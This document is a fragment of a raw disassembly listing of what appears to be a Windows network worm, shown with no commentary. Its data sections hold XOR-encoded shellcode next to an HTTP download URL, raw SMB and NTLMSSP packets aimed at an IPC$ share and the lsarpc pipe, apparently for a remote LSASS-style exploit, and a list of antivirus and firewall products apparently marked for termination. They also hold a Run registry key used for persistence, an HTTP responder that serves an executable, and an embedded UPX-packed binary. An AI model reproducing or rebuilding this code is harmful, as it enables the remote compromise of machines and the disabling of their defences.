db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44092D proc near ; CODE XREF: .data:0043F467p ; sub_43F64C+F4p ... jmp dword ptr ds:loc_405388 sub_44092D endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440939 proc near ; CODE XREF: .data:0043FDFAp jmp dword ptr ds:loc_40538C sub_440939 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440945 proc near ; CODE XREF: sub_43F261+6Bp ; sub_43F261+8Ep ... jmp dword ptr ds:loc_40538E+2 sub_440945 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_440951 proc near ; CODE XREF: sub_440625+17p jmp dword ptr ds:loc_405393+1 sub_440951 endp ; --------------------------------------------------------------------------- db 90h dd 90h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44095D proc near ; CODE XREF: .data:0043F418p ; .data:0043F434p jmp dword ptr ds:loc_405398 sub_44095D endp ; --------------------------------------------------------------------------- db 90h dd 90h, 17h dup(0) dd 40300000h, 40311000h, 800000h, 22h dup(0) dd 5000h, 0 dd 34303400h, 746F4E20h, 756F6620h, 2900646Eh, 0D960413Ah dd 170A0705h, 27251F1Bh, 2AC9C5ACh, 0DF7F5F3Ch, 746845EBh dd 2F3A7074h, 3732312Fh, 2 dup(3030302Eh), 3130302Eh, 3030303Ah dd 662F3038h, 0AEAE6273h, 335DAE62h, 0A0B966C9h, 5758D01h dd 68AFE8Bh, 575993Ch, 2C068A46h, 99344630h, 0E2470788h dd 0E80AEBEDh, 0FFFFFFDAh, 99999999h, 41E41499h, 0C9994671h dd 0C999C999h, 712FE414h, 99C9994Eh, 0F3C999C9h, 0C999F19Dh dd 99C99989h, 0C999F1C9h, 999CC999h, 0C999F3C9h, 99988B71h dd 67C999C9h, 10F0E3F3h, 9998931Ch, 0F3C999C9h, 414C999h dd 0C999989Bh, 71CAC999h, 99C99963h, 0BC999C9h, 10A7C196h dd 0C999671Ch, 0C999C999h, 9666611Ah, 0C999091Dh, 0C999C999h dd 0C8C850B2h, 1498F3C8h, 71C941DCh, 99C99936h, 4EC999C9h dd 1291C0A4h, 0ED599249h, 0C959B2EFh, 14C9C9C9h, 0CBCA2FC4h dd 0C9990C71h, 0C999C999h, 21E424FFh, 0C7ED5992h, 99F1CDCDh dd 9CC999C9h, 2C66C999h, 0C9999893h, 71C9C999h, 99C999E3h dd 0FBC999C9h, 6683B8B0h, 9998932Ch, 66C999C9h, 0C999672Ch dd 0C999C999h, 0C9991471h, 0C999C999h, 0E7C29C9Bh, 99672C66h dd 99C999C9h, 99E771C9h, 99C999C9h, 31F1AC9h, 149CF3A4h dd 99989B04h, 0CAC999C9h, 0C999F571h, 0C999C999h, 7126F434h dd 71C998F3h, 99C999F9h, 77C999C9h, 14865973h, 496624D4h dd 0C999CB71h, 0C999C999h, 0EF133BF9h, 0A13729F9h, 0DE9AED9Eh dd 9E5F6072h, 5AF8C999h, 0C999A9C1h, 2 dup(0C999C999h) dd 0B7FBEAFFh, 99FCE1FCh, 4 dup(99C999C9h), 0F934C7C9h dd 25B459AAh, 0C9662A2Ah, 819093ACh, 909CC9B7h, 0C983639Dh dd 999271CDh, 99C999C9h, 3519BFC9h, 0BDFD1451h, 91720A95h dd 71F934C7h, 99C999C8h, 12C999C9h, 0D512A5D2h, 529AE180h dd 8D146FAAh, 0B9C89A2Ah, 4A9A8B12h, 595859AAh, 0DB9BAB9Eh dd 0C999A319h, 0DDA26CECh, 9EED85BDh, 81E8A2DFh, 125544EBh dd 4A9ABDC8h, 0EB8D2E96h, 9A85D812h, 99D125Ah, 0DD105A9Ah dd 10F885BDh, 9998971Ch, 66C999C9h, 0FD7F6649h, 0A98712FEh dd 0C212C999h, 85C21295h, 0C2128212h, 0FDC65A91h, 0C6EAFAh dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 0FEFF0000h, 0 dd 2006200h, 4E204350h, 4F575445h, 50204B52h, 52474F52h dd 31204D41h, 200302Eh, 4D4E414Ch, 2E314E41h, 57020030h dd 6F646E69h, 66207377h, 5720726Fh, 676B726Fh, 70756F72h dd 2E332073h, 2006131h, 2E314D4Ch, 30305832h, 4C020032h dd 414D4E41h, 312E324Eh, 544E0200h, 204D4C20h, 32312E30h dd 0 dd 53FFA400h, 73424Dh, 18000000h, 0C807h, 3 dup(0) dd 0FEFFh, 0FF0C0010h, 400A400h, 0A11h, 0 dd 2000h, 0D4000000h, 69800000h, 4C544E00h, 5053534Dh dd 100h, 8829700h, 0E0h, 3 dup(0) dd 570000h, 6E0069h, 6F0064h, 730077h, 320020h, 300030h dd 200030h, 310032h, 350039h, 570000h, 6E0069h, 6F0064h dd 730077h, 320020h, 300030h, 200030h, 2E0035h, 30h, 0 dd 0FFDA0000h, 73424D53h, 0 dd 0C80718h, 3 dup(0) dd 0FEFF00h, 0C002008h, 0DA00FFh, 0A1104h, 0 dd 570000h, 0 dd 800000D4h, 544E009Fh, 53534D4Ch, 30050h, 10000h, 460001h dd 0 dd 470000h, 0 dd 400000h, 0 dd 400000h, 60000h, 400006h, 100000h, 470010h, 8A150000h dd 48E088h, 44004Fh, 6A198100h, 49E4F27Ah, 30AF281Ch, 67107425h dd 69005753h, 64006E00h, 77006F00h, 20007300h, 30003200h dd 30003000h, 32002000h, 39003100h, 3500h, 69005700h, 64006E00h dd 77006F00h, 20007300h, 30003200h, 30003000h, 35002000h dd 30002E00h, 2 dup(0) dd 53FF5C00h, 75424Dh, 18000000h, 0C807h, 3 dup(0) dd 800FEFFh, 0FF040030h, 8005C00h, 31000100h, 5C0000h dd 31005Ch, 320039h, 31002Eh, 380036h, 31002Eh, 32002Eh dd 300031h, 49005Ch, 430050h, 24h, 3F3F3F3Fh, 3Fh, 0FF640000h dd 0A2424D53h, 0 dd 0C80718h, 3 dup(0) dd 4DC08h, 18004008h, 0DEDE00FFh, 16000E00h, 0 dd 9F000000h, 201h, 2 dup(0) dd 3000000h, 1000000h, 40000000h, 2000000h, 3000000h, 5C000011h dd 73006C00h, 72006100h, 63007000h, 0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0C000000h dd 4D53FFF4h, 2542h, 7180000h, 0C8h, 2 dup(0) dd 0DC080000h, 60080004h, 1000h, 0CA0h, 400h, 2 dup(0) dd 540000h, 540CA0h, 260002h, 0CB14000h, 50005C10h, 50004900h dd 5C004500h, 0 dd 500h, 1003h, 0CA000h, 100h, 0C8800h, 9000000h, 3EC00h dd 0 dd 3EC00h, 14950000h, 30040h, 707C0000h, 10040h, 0 dd 10000h, 0 dd 10000h, 0 dd 10000h, 0 dd 10000h, 0 dd 10000h, 0 dd 10000h, 0 dd 10000h, 0 dd 707C0000h, 10040h, 0 dd 10000h, 0 dd 707C0000h, 10040h, 0 dd 10000h, 0 dd 707C0000h, 10040h, 0 dd 10000h, 0 dd 85780000h, 5BAB0013h, 0E9A6h, 0FFF81000h, 2F424D53h dd 0 dd 0C80718h, 3 dup(0) dd 0FEFF08h, 0E006008h, 0DEDE00FFh, 4000h, 0FFFF0000h dd 8FFFFh, 10B8h, 4010B8h, 0 dd 5EE10B9h, 10010000h, 0B8000000h, 1000010h, 0C000000h dd 20h, 0AD000900h, 0Dh, 0AD000000h, 0Dh, 0D80F0000h, 424D53FFh dd 25h, 0C8071800h, 3 dup(0) dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dd 40A89A00h, 100h, 0 dd 100h, 0 dd 100h, 0 dd 100h, 0 dd 100h, 0 dd 100h, 0 dd 100h, 0 dd 100h, 0 dd 40A89A00h, 100h, 0 dd 100h, 0 dd 40A89A00h, 100h, 0 dd 100h, 0 dd 40A89A00h, 100h, 0 dd 100h, 10h dup(0) dd 460000h, 101h, 0Dh dup(0) dd 15123C00h, 275h, 0Dh dup(0) dd 1C123C00h, 75h, 0Eh dup(0) dd 0EC816600h, 0E4FF071Ch, 100h, 404CF700h, 404CE900h dd 200h, 180h, 404CF700h, 404CE000h, 100h, 180h, 404CF700h dd 404CCF00h, 200h, 80h, 0 dd 404CB500h, 0 dd 404C9C00h, 2 dup(0) dd 404C8C00h, 2 dup(0) dd 404C8200h, 2 dup(0) dd 404C6900h, 2 dup(0) dd 404C5000h, 2 dup(0) dd 404C4300h, 2 dup(0) dd 404C3300h, 100h, 0 dd 404C2C00h, 100h, 4049F800h, 404C2400h, 100h, 0 dd 404C1900h, 2 dup(0) dd 404C1200h, 100h, 0 dd 404C0C00h, 100h, 0 dd 404C0300h, 100h, 0 dd 404BFC00h, 100h, 0 dd 404BF300h, 100h, 0 dd 404BEC00h, 100h, 0 dd 404BE500h, 100h, 0 dd 404BDD00h, 100h, 0 dd 404BD700h, 100h, 404A0800h, 404BD000h, 100h, 0 dd 404BC800h, 100h, 0 dd 404BC100h, 100h, 0 dd 404BBB00h, 100h, 0 dd 404BB200h, 100h, 404A1800h, 404BAD00h, 100h, 0 dd 404BA800h, 100h, 404A2800h, 404BA200h, 100h, 0 dd 524F5700h, 6669004Dh, 6F530063h, 61777466h, 4D5C6572h dd 6F726369h, 74666F73h, 6E69575Ch, 73776F64h, 6B005C00h dd 6469706Ch, 706C6B00h, 6C6B0066h, 76006669h, 74616473h dd 746E61h, 6F6D7376h, 6D6B006Eh, 78627378h, 786D6B00h dd 7369646Eh, 786D6B00h, 736469h, 66786D6Bh, 6D6B0077h dd 6C696678h, 6D6B0065h, 67666378h, 786D6B00h, 676962h dd 61786D6Bh, 746E6567h, 786D5500h, 676643h, 41786D55h dd 746E6567h, 786D5500h, 5500554Ch, 6F50786Dh, 6D53006Ch dd 72655363h, 65636976h, 69667300h, 7265746Ch, 736E6C00h dd 317766h, 7074754Fh, 4674736Fh, 77657269h, 6C6C61h, 72616873h dd 63616465h, 73736563h, 41634D00h, 20656566h, 6D617246h dd 726F7765h, 6553206Bh, 63697672h, 65440065h, 74636574h dd 6420726Fh, 664F2065h, 65636966h, 6E616353h, 5A00544Eh dd 41656E6Fh, 6D72616Ch, 6E615000h, 41206164h, 7669746Eh dd 73757269h, 726F4E00h, 206E6F74h, 69746E41h, 75726976h dd 65532073h, 63697672h, 614B0065h, 72657073h, 20796B73h dd 69746E41h, 6361482Dh, 2E72656Bh, 6B6E6Ch, 656E6F5Ah dd 62614C20h, 6C432073h, 746E6569h, 6F4D4100h, 6F74696Eh dd 6F4C0072h, 27206B6Fh, 5320276Eh, 706F74h, 54464F53h dd 45524157h, 63694D5Ch, 6F736F72h, 575C7466h, 6F646E69h dd 435C7377h, 65727275h, 6556746Eh, 6F697372h, 75525C6Eh dd 78006Eh, 253A7325h, 31002F75h, 312E3239h, 252E3836h dd 75252E75h, 32373100h, 2E75252Eh, 252E7525h, 30310075h dd 2E75252Eh, 252E7525h, 6EB0075h, 5C0006EBh, 5C73255Ch dd 24637069h, 2E752500h, 252E7525h, 75252E75h, 54544800h dd 2E312F50h, 30322031h, 4B4F2030h, 0A0D0A0Dh, 43000A0Dh dd 65746E6Fh, 4C2D746Eh, 74676E65h, 25203A68h, 0D0A0D75h dd 5448000Ah, 312F5054h, 3220312Eh, 4F203030h, 430A0D4Bh dd 65746E6Fh, 542D746Eh, 3A657079h, 70706120h, 6163696Ch dd 6E6F6974h, 652D782Fh, 632D6578h, 72706D6Fh, 65737365h dd 0A0D64h, 787878h, 544547h, 300050h, 6 dup(0) dd 50F400h, 2 dup(0) dd 57F400h, 524C00h, 513800h, 2 dup(0) dd 583C00h, 529000h, 514400h, 2 dup(0) dd 584C00h, 529C00h, 515000h, 2 dup(0) dd 585C00h, 52A800h, 51AC00h, 2 dup(0) dd 58C000h, 530400h, 51D800h, 2 dup(0) dd 58F000h, 533000h, 520C00h, 2 dup(0) dd 592C00h, 536400h, 1Ah dup(0) dd 53A000h, 53B000h, 53BC00h, 53C400h, 53D400h, 53E000h dd 53F000h, 540000h, 540800h, 541400h, 542000h, 542C00h dd 543400h, 543C00h, 544800h, 2 dup(0) dd 545400h, 2 dup(0) dd 547000h, 2 dup(0) dd 548C00h, 549C00h, 54B000h, 54C800h, 54D800h, 54EC00h dd 54FC00h, 550C00h, 551C00h, 553000h, 554800h, 556000h dd 557000h, 558000h, 558C00h, 559800h, 55A800h, 55B000h dd 55BC00h, 55C800h, 55D800h, 2 dup(0) dd 55E800h, 55F400h, 560800h, 561800h, 562C00h, 564000h dd 565400h, 566800h, 567800h, 2 dup(0) dd 568C00h, 56A400h, 56B800h, 56C800h, 56DC00h, 56EC00h dd 570000h, 571400h, 572400h, 573400h, 574800h, 2 dup(0) dd 575C00h, 576400h, 577400h, 578000h, 578800h, 579400h dd 57A000h, 57A800h, 57B000h, 57BC00h, 57C800h, 57D000h dd 57DC00h, 57E800h, 2 dup(0) dd 53A000h, 53B000h, 53BC00h, 53C400h, 53D400h, 53E000h dd 53F000h, 540000h, 540800h, 541400h, 542000h, 542C00h dd 543400h, 543C00h, 544800h, 2 dup(0) dd 545400h, 2 dup(0) dd 547000h, 2 dup(0) dd 548C00h, 549C00h, 54B000h, 54C800h, 54D800h, 54EC00h dd 54FC00h, 550C00h, 551C00h, 553000h, 554800h, 556000h dd 557000h, 558000h, 558C00h, 559800h, 55A800h, 55B000h dd 55BC00h, 55C800h, 55D800h, 2 dup(0) dd 55E800h, 55F400h, 560800h, 561800h, 562C00h, 564000h dd 565400h, 566800h, 567800h, 2 dup(0) dd 568C00h, 56A400h, 56B800h, 56C800h, 56DC00h, 56EC00h dd 570000h, 571400h, 572400h, 573400h, 574800h, 2 dup(0) dd 575C00h, 576400h, 577400h, 578000h, 578800h, 579400h dd 57A000h, 57A800h, 57B000h, 57BC00h, 57C800h, 57D000h dd 57DC00h, 57E800h, 0 dd 57003000h, 74534153h, 75747261h, 70h, 61003500h, 70656363h dd 74h, 62003600h, 646E69h, 63003700h, 65736F6Ch, 6B636F73h dd 7465h, 63003800h, 656E6E6Fh, 7463h, 67003B00h, 6F687465h dd 79627473h, 656D616Eh, 67003C00h, 6F687465h, 616E7473h dd 656Dh, 68004600h, 736E6F74h, 69004700h, 5F74656Eh, 72646461h dd 69004900h, 5F74656Eh, 616F746Eh, 6C004B00h, 65747369h dd 6Eh, 72004F00h, 766365h, 73005500h, 646E65h, 73005900h dd 64747568h, 6E776Fh, 73005A00h, 656B636Fh, 74h, 49008100h dd 7265746Eh, 4774656Eh, 6F437465h, 63656E6Eh, 53646574h dd 65746174h, 53004F00h, 74654748h, 63657053h, 466C6169h dd 65646C6Fh, 74615072h, 4168h, 45008200h, 54746978h, 61657268h dd 64h, 4700CA00h, 6F437465h, 6E616D6Dh, 6E694C64h, 4165h dd 4700DE00h, 75437465h, 6E657272h, 6F725074h, 73736563h dd 6449h, 4700F800h, 69467465h, 6953656Ch, 657Ah, 47010C00h dd 6F4D7465h, 656C7564h, 646E6148h, 41656Ch, 43001B00h dd 65736F6Ch, 646E6148h, 656Ch, 47015500h, 69547465h, 6F436B63h dd 746E75h, 47015C00h, 65567465h, 6F697372h, 6Eh, 47016800h dd 61626F6Ch, 6464416Ch, 6D6F7441h, 41h, 49019200h, 7265746Eh dd 6B636F6Ch, 78456465h, 6E616863h, 6567h, 49019400h, 7265746Eh dd 6B636F6Ch, 6E496465h, 6D657263h, 746E65h, 4C01AD00h dd 6C61636Fh, 6F6C6C41h, 63h, 43003100h, 74616572h, 6C694665h dd 4165h, 5201FA00h, 46646165h, 656C69h, 52020E00h, 6E556C74h dd 646E6977h, 52020F00h, 655A6C74h, 654D6F72h, 79726F6Dh dd 53026400h, 7065656Ch, 6C02C600h, 63727473h, 416E7970h dd 6C02C900h, 6C727473h, 416E65h, 43004700h, 74616572h dd 72685465h, 646165h, 44005400h, 74656C65h, 6C694665h dd 4165h, 5300FE00h, 69547465h, 72656Dh, 52000200h, 73696765h dd 43726574h, 7373616Ch, 41h, 47002000h, 654D7465h, 67617373h dd 4165h, 54002400h, 736E6172h, 6574616Ch, 7373654Dh, 656761h dd 44002500h, 61707369h, 4D686374h, 61737365h, 416567h dd 50003D00h, 5174736Fh, 4D746975h, 61737365h, 6567h, 43004F00h dd 74616572h, 6E695765h, 45776F64h, 4178h, 44005100h, 72747365h dd 6957796Fh, 776F646Eh, 44005B00h, 69576665h, 776F646Eh dd 636F7250h, 41h, 4300BF00h, 65736F6Ch, 76726553h, 48656369h dd 6C646E61h, 65h, 4300C000h, 72746E6Fh, 65536C6Fh, 63697672h dd 65h, 4400C300h, 74656C65h, 72655365h, 65636976h, 4F00D100h dd 536E6570h, 6E614D43h, 72656761h, 41h, 4F00D300h, 536E6570h dd 69767265h, 416563h, 52016700h, 65446765h, 6574656Ch dd 756C6156h, 4165h, 52017100h, 72436765h, 65746165h, 4579654Bh dd 4178h, 52017400h, 6C436765h, 4B65736Fh, 7965h, 52017900h dd 704F6765h, 654B6E65h, 41784579h, 52018400h, 75516765h dd 56797265h, 65756C61h, 417845h, 52019000h, 65536765h dd 6C615674h, 78456575h, 41h, 5F00E800h, 616F7469h, 5F001800h dd 7465475Fh, 6E69614Dh, 73677241h, 5F018100h, 65656C73h dd 70h, 65020A00h, 746978h, 6D025400h, 70636D65h, 79h dd 6D025600h, 65736D65h, 74h, 72026000h, 65736961h, 72026100h dd 646E61h, 73026A00h, 616E6769h, 6Ch, 73026D00h, 6E697270h dd 6674h, 73026F00h, 646E6172h, 73027100h, 61637274h, 74h dd 73027200h, 68637274h, 72h, 73028000h, 74737274h, 72h dd 6F737700h, 32336B63h, 6C6C642Eh, 0Fh dup(40500000h) dd 4E495700h, 54454E49h, 4C4C442Eh, 40501400h, 45485300h dd 32334C4Ch, 4C4C442Eh, 40502800h, 52454B00h, 334C454Eh dd 4C442E32h, 4Ch, 15h dup(40503C00h), 45535500h, 2E323352h dd 4C4C44h, 9 dup(40505000h), 56444100h, 33495041h, 4C442E32h dd 4Ch, 0Bh dup(40506400h), 54524300h, 2E4C4C44h, 4C4C44h dd 0Eh dup(40507800h), 25h dup(0) dd 2000h, 0 dd 2000h, 100000h, 2A0000h, 300000h, 480000h db 2 dup(0) a6Df db '6~dF',0 ; DATA XREF: sub_403A7B+19o aU db 'U#',0 ; DATA XREF: sub_403A7B+2Co aN db 'N |$',0 ; DATA XREF: sub_403A7B+3Fo aWdg db 'wD ',0 ; DATA XREF: sub_403B8E+17o aQ85o db 'Q/85O',0 ; DATA XREF: sub_403B8E+3Bo dword_4421FE dd 252425h word_442202 dw 5A4Dh ; DATA XREF: sub_403B8E+7Fo db 0 a4kzsb db '4kzsB',0 ; DATA XREF: sub_403B8E+9Eo aOmy db 'OmY ',0 ; DATA XREF: sub_403B8E+EDo aK db '%K',0 ; DATA XREF: sub_403B8E+10Bo aGiyA9 db 'Iy~9',0 ; DATA XREF: sub_403B8E+14Fo aIwKa db 'IW',27h,' KA',0 ; DATA XREF: sub_403D18+17o aR6 db 'R6',0 ; DATA XREF: sub_403D18+127o dword_442224 dd 273D45h aZ0lnyh? db 'Z0LNYh?',0 ; DATA XREF: sub_403D18+162o aVb6l db 'v6l',0 ; DATA XREF: sub_403D18+170o aEa0I db 'Ea#0 I',0 ; DATA XREF: sub_403D18:loc_404021o aN_0 db 'N,',0 ; DATA XREF: sub_40409A+1Ao byte_44223F db 0 ; DATA XREF: sub_4040BF+50o dd 7, 0Bh dword_442248 dd 8Ah ; sub_404129:loc_404156r ... aGxK_0 db 'gx%K',0 ; DATA XREF: sub_4041B6+16o aJ db '&j',0 ; DATA XREF: sub_4041B6+29o aLkw_0 db 27h,'lkW',0 ; DATA XREF: sub_4041B6+3Co byte_442259 db 3 dup(0) ; DATA XREF: sub_40439D+BBo dd 6, 0Fh dword_442264 dd 0 ; .text:loc_40449Er ... dword_442268 dd 0 ; sub_404502+36r ... dd 8, 10h dword_442274 dd 0 ; sub_4045EF:loc_4045EAr ... a@rva2g db '|@rVA2g',0 ; DATA XREF: sub_404657+15o aAsfA db 'SF=',0 ; DATA XREF: sub_404657+2Fo a1 db ' 1',0 ; DATA XREF: sub_404657+43o aLw db '&:; lw',0 ; DATA XREF: sub_40470D+20Fo dword_442290 dd 7A556Fh aDQA db 'd~q <a',0 ; DATA XREF: sub_404970+6Do dword_44229B dd 6E422Ah aHs db ' hS ',0 ; DATA XREF: sub_404BA0+DFo byte_4422A4 db 0 ; DATA XREF: sub_404D86+6o aOVunh db 'O+Vunh',0 ; DATA XREF: sub_404DE3+24o aXC6l db ' X c6L=',0 ; DATA XREF: sub_404DE3+14Bo dd 4 dword_4422B8 dd 0Bh ; sub_4051C3+53r dword_4422BC dd 0 ; sub_404F63:loc_404F98r ... word_4422C0 dw 20h ; DATA XREF: sub_405004+54r aG84rg db 'G84rg',0 ; DATA XREF: sub_405004+A5o dword_4422C8 dd 2 dword_4422CC dd 0Eh ; sub_405636+135r ... dword_4422D0 dd 0 ; sub_40525E:loc_40528Cr ... dword_4422D4 dd 0 aJ3C7 db 'j~3 c7',0 ; DATA XREF: sub_4052F4:loc_405300o word_4422E0 dw 38h ; DATA XREF: sub_4052F4:loc_405308r aI db ';i ',27h,'&',0 ; DATA XREF: sub_4052F4:loc_405375o a4ct db ',4Ct',0 ; DATA XREF: sub_40538B+1Bo word_4422ED dw 35h ; DATA XREF: sub_40538B+E5r a?I db '?<I*',0 ; DATA XREF: sub_405559+Co byte_4422F4 db 0 ; DATA XREF: sub_405636+16o dword_4422F5 dd 3C4731h byte_4422F9 db 49h, 7Fh, 59h ; DATA XREF: sub_405636+FAo dd 482153h byte_442300 db 0 ; DATA XREF: sub_405636+1FDo byte_442301 db 0 ; DATA XREF: sub_405636+243o word_442302 dw 55h ; DATA XREF: sub_405636+273r a8_V9t db '8_|9t',0 ; DATA XREF: sub_405636+2EDo aAblx db 'BLX',0 ; DATA XREF: sub_405636+3BCo aYeqbi db ' YeQI',0 ; DATA XREF: sub_405636+4D9o dword_442317 dd 6B5521h aB@wfed0 db '@WFed0',0 ; DATA XREF: sub_405F5E+1Bo aKPo db 'k`Po',0 ; DATA XREF: sub_405F5E+29o dword_442328 dd 4D2E41h byte_44232C db 0 ; DATA XREF: sub_405F5E+21Fo aLO5 db 'L-o-5 ',0 ; DATA XREF: sub_4062A9+12o aYvlszz db 'yvlSzz',0 ; DATA XREF: sub_4062A9+33o word_44233B dw 65h ; DATA XREF: sub_4062A9+50r byte_44233D db 0 ; DATA XREF: sub_4062A9+E4o dword_44233E dd 3D5F81h word_442342 dw 4Fh ; DATA XREF: sub_4062A9+1FCr aXsc db '-<xSc ',0 ; DATA XREF: sub_4062A9+31Co aAD db 'A&$D',0 ; DATA XREF: sub_4062A9+3A1o a24f db '% 24f^$',0 ; DATA XREF: sub_4062A9+3FBo word_442358 dw 51h ; DATA XREF: sub_4062A9+463r aXvsRw db '|xs&RW',0 ; DATA XREF: sub_4062A9+532o word_442362 dw 2B75h ; DATA XREF: sub_4062A9+55Bo dd 6B4B7F61h, 60h, 0 dword_442370 dd 0Ah dword_442374 dd 0 ; sub_40684E:loc_40687Dr ... dword_442378 dd 0 ; sub_406A35+33r ... dword_44237C dd 0 ; sub_40692F+17r ... dword_442380 dd 0FFFFh ; sub_406A35+144r ... dword_442384 dd 744045h aVb_ db '$VB .',0 ; DATA XREF: sub_406A35+47o aMSD db 'M S^d/',0 ; DATA XREF: sub_406A35+83o aJz db 'JZ',0 ; DATA XREF: sub_406A35+10Eo a?alV db '?l / ',0 ; DATA XREF: sub_406A35+12Bo byte_4423A0 db 0 ; DATA XREF: sub_406A35+156o a_vY db '.=#y',0 ; DATA XREF: sub_406A35+23Ao dword_4423A7 dd 207724h aNhRq db ' nH rQ',0 ; DATA XREF: sub_406A35+2ABo align 4 dword_4423B4 dd 7 ; sub_406D91+F94r ... dword_4423B8 dd 12h dword_4423BC dd 0 ; sub_406CF9:loc_406D27r ... dword_4423C0 dd 1 ; sub_407FE2+25o byte_4423C4 db 0 ; DATA XREF: sub_406D91+1069r align 2 byte_4423C6 db 0 ; DATA XREF: sub_406D91+2Bo a6uxb6 db '6Ux6',0 ; DATA XREF: sub_406D91+18Ao aTro_ db 'tRO,_',0 ; DATA XREF: sub_406D91+1A6o aVo4 db ' vo4|',0 ; DATA XREF: sub_406D91+226o byte_4423D9 db 0 ; DATA XREF: sub_406D91+23Fo word_4423DA dw 37h ; DATA XREF: sub_406D91+24Ar aAVy db 'a&vY',0 ; DATA XREF: sub_406D91+31Ao word_4423E1 dw 4Eh ; DATA XREF: sub_406D91+418r byte_4423E3 db 7Ah ; DATA XREF: sub_406D91+445o db 77h, 0 byte_4423E6 db 0 ; DATA XREF: sub_406D91+460o aZa6Ca db 'zA6:c',0 ; DATA XREF: sub_406D91+49Fo aFG db ' f>',0 ; DATA XREF: sub_406D91+5A3o dword_4423F4 dd 244870h dword_4423F8 dd 41437F4Ch db 0 dword_4423FD dd 572720h aJeth db 'jETH#',0 ; DATA XREF: sub_406D91+6E2o aKq db 'kQ',0 ; DATA XREF: sub_406D91+722o aGg db 'gG',27h,',',0 ; DATA XREF: sub_406D91+8A2o word_44240F dw 3Ch ; DATA XREF: sub_406D91+9AEr aEqf8 db 'EQf8',0 ; DATA XREF: sub_406D91+9C9o word_442416 dw 737Fh ; DATA XREF: sub_406D91+A9Do aEgcS db 'eC/S',0 byte_44241E db 0 ; DATA XREF: sub_406D91+AABo dword_44241F dd 30617Ah word_442423 dw 83h ; DATA XREF: sub_406D91:loc_407988r byte_442425 db 0 ; DATA XREF: sub_406D91+C61o aJqs db '#JQS$ ',0 ; DATA XREF: sub_406D91+D7Do aH7a6 db 'h7A6/',0 ; DATA XREF: sub_406D91+DF2o aY db 'Y;',0 ; DATA XREF: sub_406D91+F20o word_442436 dw 0FFFFh ; DATA XREF: sub_407F34+5o dd 7FA8FFFFh, 7FB30040h db 40h, 0 word_442442 dw 2D20h ; DATA XREF: sub_407FE2+41o db 0 aHS db 'H-S-',0 ; DATA XREF: .text:00408050o align 10h dword_442450 dd 0Ah dword_442454 dd 0 ; sub_4080C5:loc_4080F4r ... a8fr8 db '8Fr8!#',0 ; DATA XREF: sub_40815F+DCo aMKJ db 'm:K!< j',0 ; DATA XREF: sub_40815F+102o aGV3s db 'g+V3S ',0 ; DATA XREF: sub_40815F+25Fo aMzr db 'MZ',0 ; DATA XREF: sub_408581+96o db 3 dd 4000000h, 0FF000000h, 0B80000FFh, 0 dd 40000000h, 8 dup(0) dd 0C8000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh dd 240A0D0Dh, 13h dup(0) dd 50000000h, 4C000045h, 0F2000301h, 41CA88h, 0 dd 0E0000000h, 0B010F00h, 601h, 40h, 10h, 20000050h, 98h dd 60h, 0A0h, 4000h, 10h, 4000002h, 0 dd 4000000h, 2 dup(0) dd 0B0h, 10h, 2000000h, 0 dd 1000h, 10h, 1000h, 10h, 10000000h, 3 dup(0) dd 0D80000A0h, 1Ch dup(0) dd 55000000h, 305850h, 0 dd 50h, 10h, 0 dd 4, 2 dup(0) dd 80000000h, 55E00000h, 315850h, 0 dd 40h, 60h, 3Ah, 4, 2 dup(0) dd 40000000h, 55E00000h, 325850h, 0 dd 10h, 0A0h, 2, 3Eh, 2 dup(0) dd 40000000h, 0C00000h, 42h dup(0) db 0 db 0Ah, 0, 24h aInfoThisFileIs db 'Info: This file is packed with the UPX executable packer http://u' db 'px.tsx.org $',0Ah,0 aIdUpx1_07Copyr db '$Id: UPX 1.07 Copyright (C) 1996-2001 the UPX Team. All Rights Re' db 'served. $',0Ah,0 db 55h dd 0C215850h, 53090209h, 37A2620Ah, 695F94A8h, 1F000072h dd 38h, 26000070h, 0E9380004h, 92087Eh, 905A4Dh, 43B03h dd 0FFB2C832h, 7F40B8FFh, 0C8377FF9h, 0BA1F0E04h, 9B4000Eh dd 1B821CDh, 6968544Ch, 0BF702073h, 72FFFFFDh, 6172676Fh dd 6163206Dh, 746F6E6Eh, 20656220h, 206E7572h, 4F440269h dd 0ED6D2053h, 6FFF6050h, 0D2E6564h, 0C7240A0Dh, 0ED134550h dd 4CFF21DBh, 8A000201h, 0E041CA88h, 10B219Dh, 0E90F0806h dd 0E022B37Eh, 0E018A400h, 25732510h, 0B6366F9h, 4501E02h dd 96E67606h, 10341E0Ch, 5E592007h, 0E0A006F6h, 1757829h dd 7C6FDDB2h, 3864D801h, 903F764Dh, 65742E37h, 0A22B7478h dd 0CB6FFB20h, 1A00EB96h, 722EE004h, 636F6C65h, 7BECA6CCh dd 23FB9E67h, 7942A226h, 703D9510h, 0DB303403h, 26669B2Ch dd 0E22FFA12h, 691B3046h, 423BAE9Ah, 14032C0Bh, 34D36E5Eh dd 2C4AB2CDh, 86706256h, 4D34D34Dh, 0D4C2AE9Ch, 0AE9AF2E2h dd 2D083659h, 3C072818h, 0A69A6946h, 6C625469h, 69B28E78h dd 0B49EA69Ah, 